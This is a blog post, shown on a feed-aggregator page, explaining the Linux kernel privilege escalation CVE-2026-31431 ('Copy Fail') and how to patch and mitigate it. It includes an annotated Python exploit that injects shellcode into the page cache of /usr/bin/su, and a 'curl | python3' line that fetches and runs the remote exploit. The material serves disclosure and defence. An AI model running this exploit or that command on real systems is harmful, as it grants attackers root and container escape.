惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

T
Threat Research - Cisco Blogs
博客园 - 聂微东
小众软件
小众软件
P
Proofpoint News Feed
Security Archives - TechRepublic
Security Archives - TechRepublic
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
TaoSecurity Blog
TaoSecurity Blog
博客园 - 司徒正美
罗磊的独立博客
N
News and Events Feed by Topic
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
S
Security Affairs
S
Security @ Cisco Blogs
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
The GitHub Blog
The GitHub Blog
月光博客
月光博客
S
Secure Thoughts
P
Proofpoint News Feed
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Forbes - Security
Forbes - Security
H
Heimdal Security Blog
W
WeLiveSecurity
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
L
LangChain Blog
T
The Blog of Author Tim Ferriss
NISL@THU
NISL@THU
Google DeepMind News
Google DeepMind News
Cloudbric
Cloudbric
H
Hacker News: Front Page
The Last Watchdog
The Last Watchdog
Hacker News - Newest:
Hacker News - Newest: "LLM"
C
Cisco Blogs
博客园 - 三生石上(FineUI控件)
博客园_首页
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
S
Schneier on Security
Project Zero
Project Zero
SecWiki News
SecWiki News
爱范儿
爱范儿
The Register - Security
The Register - Security
AI
AI
H
Hackread – Cybersecurity News, Data Breaches, AI and More
Y
Y Combinator Blog
L
Lohrmann on Cybersecurity
Application and Cybersecurity Blog
Application and Cybersecurity Blog
P
Privacy International News Feed
J
Java Code Geeks
S
Securelist
C
Cyber Attacks, Cyber Crime and Cyber Security
V
Visual Studio Blog

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant Common SOC 2 Failures (Real World) Stop Vibe-Checking Your AI App: A Practical Guide to Evals How to Use SonarQube and SonarScanner Locally to Level Up Your Code Quality Your Next To-Do App Is Dead — I Replaced Mine with an OpenClaw AI Sign a Nostr event in 60 lines of Python using coincurve — no nostr-sdk, no nbxplorer, no rust toolchain ITGC Audit Explained Like You’re in Big 4 Patch Tuesday abril 2026: Microsoft parcha 163 vulnerabilidades y un zero-day en SharePoint Stop scraping everything: a better way to track competitor price changes Listing on MCPize + the Official MCP Registry while routing payments OUTSIDE the marketplace — how I kept 100% of my x402 revenue Building an AI-Powered Risk Intelligence System Using Serverless Architecture Why We Ripped Function Overloading Out of Our AI Toolchain Testing AI-Generated Code: How to Actually Know If It Works SaaS Churn Is Killing Your Business. Here Is What to Do About It (Without a Support Team) The Speed of AI Is No Longer Linear - And Self-Improving Models Are Why How to Implement RBAC for MCP Tools: A Practical Guide for Engineering Teams From Standard Quote to Persuasive Proposal: AI Automation for Arborists I built a CLI that scaffolds complete multi-tenant SaaS apps Axios CVE-2025–62718: The Silent SSRF Bug That Could Be Hiding in Your Node.js App Right Now The dashboard that ended our friendship Data Pipelines Explained Simply (and How to Build Them with Python) The Hidden Cost of AI Systems Nobody Talks About. undefined vs undeclared, and how typeof behaves Switching from file-based jobs to NATS/Kafka in Rust without changing code io_uring Adventures: Rust Servers That Love Syscalls Why Agentic AI is Killing the Traditional Database The POUR principles of web accessibility for developers and designers Quantum Neural Network 3D — A Deep Dive into Interactive WebGL Visualization How To Install Caveman In Codex On macOS And Windows Automation Pipeline Reliability: Why Your Workflow Breaks When Nobody Is Watching I Built an 'Open World' AI Coding Agent — It Works From ANY Folder From Freelancing to Product: A Tech Service Company's SaaS Transformation China's AI Giants: Adding Tencent Hunyuan & ByteDance Doubao to AI University (74 Providers) On the Vibe Coders and Their Lies clerk: Auto-Summarize Your Claude Code Sessions AI Weekly — 2026/04/10–04/17 | The Model Lockdown Is Here, but the Toolchain Is the Real Battleground AI 週報 — 2026/04/10–2026/04/17 模型封鎖潮來了,但工具鏈才是真戰場 Maybe this is how Open-Source apps are born... 🚀 Fine-Tune LLMs with LoRA and QLoRA: 2026 Guide tRPC v11 + Next.js App Router: End-to-End Type Safety Without the Boilerplate ShadCN UI in 2026: Why I Stopped Installing Component Libraries and Started Owning My Components SaaS Billing in React Server Components: Stripe + Supabase Without a Single `useEffect` Join our DEV Weekend Challenge — $1,000 in Prizes Across TEN winners! Submissions Due April 20 at 6:59 AM UTC. Implementing FSRS Spaced Repetition in Flutter + Supabase — Adding Memory Science to an AI Learning App "I Texted My Localhost From the Train — Claude Code Fixed the Bug Before I Got Home" I Built a Sales Prep AI and It Went Deeper Than Expected Design to Code #2: One JSON, Eleven Outputs Solving the 100M-Row Problem: A Summary Table Pattern for High-Volume Push Notification Logs Flutter Web With Wasm: What Actually Changes For Developers I Built 50 Royalty-Free Soundtracks for My Side Project in a Weekend Using AI Music Generation The Vibe Coding Security Checklist: 7 Things to Check Before You Ship Stop Letting Googlebot Guess Fix Your React App's SEO Right Desconstruindo o Streaming do LinkedIn: Como Criar um Engine de Extração de Vídeo de Alta Performance com HLS e FFmpeg (EDA Part-1) EDA (Exploratory Data Analysis) Explained With Real Life — Why Looking at Your Data Is the Most Important Step in Machine Learning Brand Relationship Management at Scale: Our 4-Touch Outreach System for 200+ Brands Why String.fromEnvironment() Might Return an Empty String in Dart JGuardrails 1.0.0 — Hardening Java LLM Apps Against Jailbreaks, Toxicity, and Prompt Injection Plan and Schedule a Full Week of Threads Content From One Claude Conversation Coding Cat Oran Ep3, Five Tables Changed Everything Updated: BFF Pattern I'm done watching freelancers get buried by 200 proposals. So I'm building the alternative. This is my first post BFS Algorithm in Java Step by Step Tutorial with Examples Tracking LLM Pricing Monthly: An Open Dataset for 22 AI Models How We Measure Content ROI on a Comparison Site: Revenue Attribution Without Perfect Data Introducing Nova AI Ops: The AI-Native Operating System for SRE Teams I built a free desktop video downloader for Windows — Grabbit How Talkie OCR Helps Vision-Impaired & Dyslexic Users Read the World Around Them VRCFaceTracking安装和iPhone面捕配置教程,有bug Even CrowdStrike Can't See Your Agents The Automation Gold Rush: What n8n Workflows and Claude Are Opening Up for Developers Right Now
Copy Fail (CVE-2026-31431)
Soumya Ranja · 2026-05-05 · via DEV Community

A critical kernel privilege escalation that leaves no trace on disk — and how it works

It started with a blog post. On April 29, 2026, Theori's research platform Xint Code quietly dropped a URL: copy.fail. Within hours, security teams across the industry were scrambling. A 732-byte Python script — shorter than most .gitignore files — was rooting every major Linux distribution in existence.

No race conditions. No kernel symbols. No ASLR bypass. Just a logic bug hiding in the Linux kernel since 2017, waiting to be found.

TL;DR for the Busy Reader

CVE-2026-31431, nicknamed Copy Fail, is a local privilege escalation (LPE) in the Linux kernel's AF_ALG crypto subsystem. An unprivileged user can:

  1. Open a crypto socket (zero privileges required)
  2. Splice pages from /usr/bin/su into it
  3. Trigger a 4-byte write into the in-memory page cache of that binary
  4. Run su — now running attacker shellcode — and get a root shell The file on disk is never touched. No checksums fail. No integrity monitors fire. The exploit is fully deterministic and works across kernels 4.14 through 7.x.

Background: What Is AF_ALG?

Linux exposes its kernel crypto engine to userspace through a socket interface called AF_ALG (Address Family - Algorithm), introduced in 2015. Think of it as /dev/crypto but via standard socket syscalls. Any unprivileged process can:

int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, (struct sockaddr *)&addr, sizeof(addr));
// ... perform AES, HMAC, AEAD operations in kernel space

Enter fullscreen mode Exit fullscreen mode

This is used by OpenSSL's afalg engine, among others, for hardware-accelerated crypto. It's enabled by default in virtually every Linux distribution.

The algif_aead module specifically handles AEAD (Authenticated Encryption with Associated Data) — algorithms like AES-GCM that encrypt and authenticate data simultaneously.

The Bug: Three Things That Should Never Have Met

Copy Fail is the result of three independent design decisions colliding catastrophically.

1. The authencesn Scratch Write

authencesn is an AEAD algorithm used for IPsec with Extended Sequence Numbers. During decryption, it performs a deliberate 4-byte write past the end of the plaintext output as scratch space:

// In crypto_authenc_esn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
//                                      ^^^^^^^^^^^^^^^^^^^
//                                      This is AFTER the output buffer ends

Enter fullscreen mode Exit fullscreen mode

In normal use, this is harmless — the overrun lands in allocated memory. But combine it with the next two factors...

2. The 2017 "In-Place" Optimization

In 2017, commit 72548b093ee3 introduced an optimization to algif_aead: instead of copying data out-of-place, the kernel reuses the source scatterlist as the destination:

// Simplified from algif_aead.c (pre-fix):
sg_chain(&out_sg, tfr_sg);  // chain tag pages INTO output scatterlist
req->src = req->dst;        // source = destination (in-place!)

Enter fullscreen mode Exit fullscreen mode

This saved a memory copy. It also accidentally made "writable" a set of pages that should have been read-only.

3. splice() Delivering Page Cache Pages

When you splice() a file into an AF_ALG socket, the kernel doesn't copy the data. It hands over direct references to the file's page cache. Those exact pages end up in the AEAD scatterlist.

Put it together:

splice(/usr/bin/su) → AF_ALG socket
→ page cache pages enter AEAD scatterlist
→ in-place optimization chains them into the "writable" output list
→ authencesn writes 4 bytes past the output boundary
→ those 4 bytes land in /usr/bin/su's in-memory page cache

Enter fullscreen mode Exit fullscreen mode

A 4-byte arbitrary write into the page cache of any readable file. That's the primitive.

The Exploit

The public PoC is a single Python script hosted at the disclosure site. The one-liner that's been circulating:

curl https://copy.fail/exp | python3

Enter fullscreen mode Exit fullscreen mode

Here's what it does under the hood (simplified and annotated):

import os, zlib, socket

def write_4_bytes(file_fd, offset, payload_chunk):
    # Step 1: Open AF_ALG socket bound to the vulnerable algorithm
    sock = socket.socket(38, 5, 0)  # AF_ALG, SOCK_SEQPACKET
    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

    # Step 2: Configure with a dummy key — no privileges needed
    SOL_ALG = 279
    sock.setsockopt(SOL_ALG, 1, bytes.fromhex('0800010000000010' + '0'*64))
    sock.setsockopt(SOL_ALG, 5, None, 4)
    req_sock, _ = sock.accept()

    # Step 3: Send AAD containing our 4-byte payload
    # authencesn will later write bytes 4-7 of AAD as its "scratch"
    req_sock.sendmsg(
        [b"A"*4 + payload_chunk],  # AAD: 4 filler bytes + our payload
        [(SOL_ALG, 3, b'\x00'*4),
         (SOL_ALG, 2, b'\x10' + b'\x00'*19),
         (SOL_ALG, 4, b'\x08' + b'\x00'*3)],
        32768
    )

    # Step 4: Splice target file's page cache into the socket
    pipe_r, pipe_w = os.pipe()
    os.splice(file_fd, pipe_w, offset + 4, offset_src=0)  # file → pipe
    os.splice(pipe_r, req_sock.fileno(), offset + 4)       # pipe → AF_ALG

    # Step 5: Trigger the decrypt — error is expected, write already happened
    try:
        req_sock.recv(8 + offset)
    except:
        pass  # HMAC will fail, that's fine — the write already occurred

    req_sock.close()


# Open the target setuid binary
target = os.open("/usr/bin/su", 0)

# Decompress shellcode and write it 4 bytes at a time into the page cache
shellcode = zlib.decompress(bytes.fromhex(
    "78da..."  # compressed shellcode blob
))

for i in range(0, len(shellcode), 4):
    write_4_bytes(target, i, shellcode[i:i+4])

# Execute the now-corrupted binary — it runs our shellcode as root
os.system("su")

Enter fullscreen mode Exit fullscreen mode

The loop runs a handful of times, each call writing 4 bytes of shellcode into /usr/bin/su's page cache at increasing offsets. When su is finally executed, the kernel loads it from the (now corrupted) page cache — running attacker shellcode with setuid root privileges.

The HMAC always fails. The recv() always returns an error. The exploit looks like a broken crypto operation. The write has already happened.

Why This Is a Nightmare for Detection

This is where Copy Fail separates itself from predecessors like Dirty COW and Dirty Pipe.

Nothing changes on disk

The page cache is the kernel's in-memory representation of files. When it's modified, the on-disk file is not. The kernel would need to mark the page dirty and flush it to disk for that to happen — and it never does here.

/usr/bin/su on disk:     [original, unmodified]
/usr/bin/su in memory:   [shellcode injected here]  ← this is what execve() uses

Enter fullscreen mode Exit fullscreen mode

Tools like AIDE, Tripwire, or any checksum-based file integrity monitor will report zero anomalies.

Syscalls look normal

The exploit uses only standard interfaces:

  • socket() — everyone uses sockets
  • sendmsg() — normal socket operation
  • splice() — common in high-performance I/O
  • recv() — returns an error, but errors happen There are no unusual privilege escalation calls, no /proc/*/mem writes, no ptrace, no /dev/mem access. Standard audit logs won't surface anything suspicious.

No persistence needed

The corruption exists only in memory. After a reboot, /usr/bin/su is clean again. An attacker who successfully escalates can then establish persistence through legitimate root-level mechanisms. Forensics after the fact finds nothing in the binary.

Affected Systems

If your kernel is between 4.14 and 7.x (including current LTS branches) and hasn't received the April/May 2026 patches, you're vulnerable. That covers:

  • Ubuntu 18.04 LTS through 24.04
  • Red Hat Enterprise Linux 7, 8, 9
  • Debian Buster, Bullseye, Bookworm
  • SUSE Linux Enterprise 15
  • Amazon Linux 2 and 2023
  • Fedora 38, 39, 40
  • Pretty much everything else The one saving grace: the attacker needs local access first. This isn't remotely exploitable on its own. However, in environments with multi-tenant systems, shared CI/CD runners, or Kubernetes clusters, "local" is a low bar.

Cross-Container Escape

The page cache is shared across the entire host kernel. A container doesn't get its own page cache — it shares the host's. This means a malicious container with access to AF_ALG can corrupt the host's page cache of a setuid binary.

If the host has /usr/bin/su mapped and a container can reach AF_ALG (the default in many Kubernetes setups), the container can escape to root on the host. This elevates Copy Fail from a local LPE to a container escape in multi-tenant environments.

How It Was Found: AI Did It in an Hour

Perhaps the most unsettling part of the Copy Fail story isn't the bug itself — it's that an AI found it.

Theori's Xint Code platform scanned the Linux crypto subsystem for user-reachable logic flaws. In approximately one hour, it identified the exact chain: authencesn + splice() + in-place AEAD = page cache corruption. The flaw had existed, undetected, for nine years.

This has serious implications. The attack surface of the Linux kernel is enormous. AI-assisted analysis can now traverse it at scale, modeling data flows through kernel subsystems that would take human researchers weeks to manually trace. Copy Fail is likely not the last bug of this class to be found this way.

The Fix

The patch is elegant in its simplicity. The upstream fix (commit a664bf3d603d) reverts the 2017 in-place optimization:

--- a/crypto/algif_aead.c
+++ b/crypto/algif_aead.c
-    sg_chain(&out_sg, tfr_sg);   // chain tag pages into output list
-    req->src = req->dst;         // source = destination (in-place)
+    // Operate out-of-place — page cache pages stay in the source list only

Enter fullscreen mode Exit fullscreen mode

As the GitHub Advisory puts it: "There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings." The optimization saved a copy but introduced a 9-year-old footgun.

What You Should Do Right Now

1. Patch immediately

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo dnf update kernel
sudo reboot

# Check your kernel version after reboot
uname -r

Enter fullscreen mode Exit fullscreen mode

Verify your distro's security advisory for the specific patched kernel version.

2. Disable algif_aead as a stopgap

If you can't reboot immediately:

# Block the module from loading
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf

# Unload it if currently loaded
sudo rmmod algif_aead 2>/dev/null || true

Enter fullscreen mode Exit fullscreen mode

Impact is minimal — almost no production software uses AF_ALG AEAD directly. SSH, LUKS, and OpenSSL use the kernel crypto API directly, not through AF_ALG.

3. Block AF_ALG in containers

For Kubernetes and Docker environments, add a seccomp profile that blocks socket(AF_ALG, ...). This is your most important short-term mitigation if you run multi-tenant workloads.

{
  "syscalls": [{
    "names": ["socket"],
    "action": "SCMP_ACT_ALLOW",
    "args": [{
      "index": 0,
      "value": 38,
      "op": "SCMP_CMP_NE"
    }]
  }]
}

Enter fullscreen mode Exit fullscreen mode

(Block socket() calls where the first argument is 38 / AF_ALG.)

4. Add runtime detection

Falco and other eBPF-based runtime security tools have published rules to detect AF_ALG + splice combinations that match the Copy Fail pattern. Deploy them now, even on patched systems, as a defense-in-depth measure.

Comparison to Dirty COW and Dirty Pipe

Dirty COW (2016) Dirty Pipe (2022) Copy Fail (2026)
CVE CVE-2016-5195 CVE-2022-0847 CVE-2026-31431
Race condition? Yes No No
Exploit size 4,000+ bytes ~1,000 bytes 732 bytes
Kernel range 2.6.22–3.9+ 5.8–5.16 4.14–7.x
Container escape? No Limited Yes
On-disk artifacts? Yes (writes to disk) Yes (writes to disk) No
Detection difficulty Moderate Moderate Very hard
Discovery method Human research Human research AI-assisted (1 hour)

Copy Fail is the most operationally dangerous of the three. No race to win, no offsets to calculate, no distribution-specific assumptions. It just works.

Final Thoughts

Copy Fail is a reminder that the Linux kernel is an enormous, complex codebase where subtle interactions between subsystems can hide for nearly a decade. A 2017 optimization that made perfect sense in isolation — reuse the scatterlist, save a copy — quietly became a critical security flaw when combined with a niche AEAD algorithm and a zero-copy syscall.

The fact that an AI found it in an hour is both impressive and sobering. If AI can find this, it can find others. The attack surface scanning that used to take months of expert human analysis is becoming automated.

Patch your kernels. Disable algif_aead if you can't. And assume there are more of these waiting.

CVE-2026-31431 was responsibly disclosed by Theori's Xint Code platform on April 29, 2026. Patches are available for all major Linux distributions as of May 2026. The vulnerability affects Linux kernels from 4.14 onward. Apply updates immediately.